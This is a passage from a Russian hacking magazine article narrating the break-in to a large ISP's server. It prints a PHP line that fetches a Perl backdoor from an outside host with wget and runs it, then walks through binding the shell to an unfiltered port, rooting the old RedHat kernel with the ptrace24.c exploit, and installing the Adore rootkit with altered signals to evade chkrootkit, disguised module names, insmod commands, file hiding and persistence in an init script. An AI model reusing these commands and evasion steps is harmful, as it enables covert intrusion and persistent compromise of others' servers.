Ломка крупного провайдера
Master-lame-master
Xakep, номер #057, стр. 057-060-3
Осталось скачать и запустить перловый бэкдор для получения полноценного nobody-shell. Для этого был залит такой скрипт:
<?system("wget http://hack.narod.ru/bd.pl -O /tmp/bd.pl; perl /tmp/bd.pl");?>
Бэкдор bd.pl должен открыть шелл на 5051 порту. После успешного выполнения скрипта взломщик зателнетился на порт удаленного сервака и... не получил желаемого результата - порт фильтровался фаерволом.
Свинство с фаерволом
Хакер стал чекать порты, за которыми могли быть сервисы. Он надеялся получить ответ "connection refused", а затем подсадить на этот порт бэкдор. Причем порт должен быть > 1024, иначе обычный пользователь (в нашем случае nobody) не сможет его прослушать. Как ни странно, такой порт был найден. Им оказался 6667. Примечательно, что за ним не было никакого ircd :). Видимо, его убил админ за ненадобностью, но правило из фаервола убрать забыл. А зря...
После простой модификации бэкдора (http://code.ruhost.ru/bd.tar.gz) и скрипта, порт 6667 стал прослушиваться. Оставалось только зателнетиться.
Adore - навороченный фришный руткит от TESO
Первым делом хакер набрал uname -a. На сервере был установлен старенький RedHat 7.0. Его ядро можно было сломать обычным эксплоитом ptrace24.c (не говоря уже о ptrace-kmod.c), что и было проделано (http://packetstorm.icx.fr/0110-exploits/ptrace24.c).
Настало время определиться с руткитом, который будет установлен на сервере. Выбор пал на Adore. Этот руткит умеет скрывать процессы и файлы, выполнять команды от суперпользователя. Остальные возможности этого софта нашего деятеля не интересовали. Adore был транспортирован с адреса http://teso.scene.at/releases/adore-0.42.tgz. После распаковки необходимо было запустить скрипт ./configure. Но вот собирать руткит хакер не торопился. Чтобы adore не был засечен chkrootkit'ами и другими утилитами, взломщик изменил сигналы по умолчанию в файле adore.h. Переменные SIGINVISIBLE, SIGVISIBLE и SIGREMOVE стали принимать другие значения. В код adore.c и cleaner.c была добавлена строка LICENSE_MODULE("GPL"), чтобы при подгрузке модуля в ядро не было ругани о некорректной регистрации ;).
Теперь можно было компилить. Команда make - руткит собран. Хакер положил их в директорию /usr/lib и обозвал именами linux-lib.o и linux-init.o (до этого модули назывались adore.o и cleaner.o). В завершение взломщик набрал команду insmod /usr/lib/linux-lib.o && insmod /usr/lib/linux-init.o && rmmod linux-init. Все! Модули были в ядре, и руткит был успешно установлен.
Осталось переместить бинарник ava в /usr/bin и скрыть его командой /usr/bin/ava h /usr/bin/ava. Теперь для хакера была актуальна проблема автозапуска руткита. Он решил записать строки загрузки модуля в файл /etc/rc.d/init.d/named, в надежде, что админ не будет рассматривать стартовые скрипты.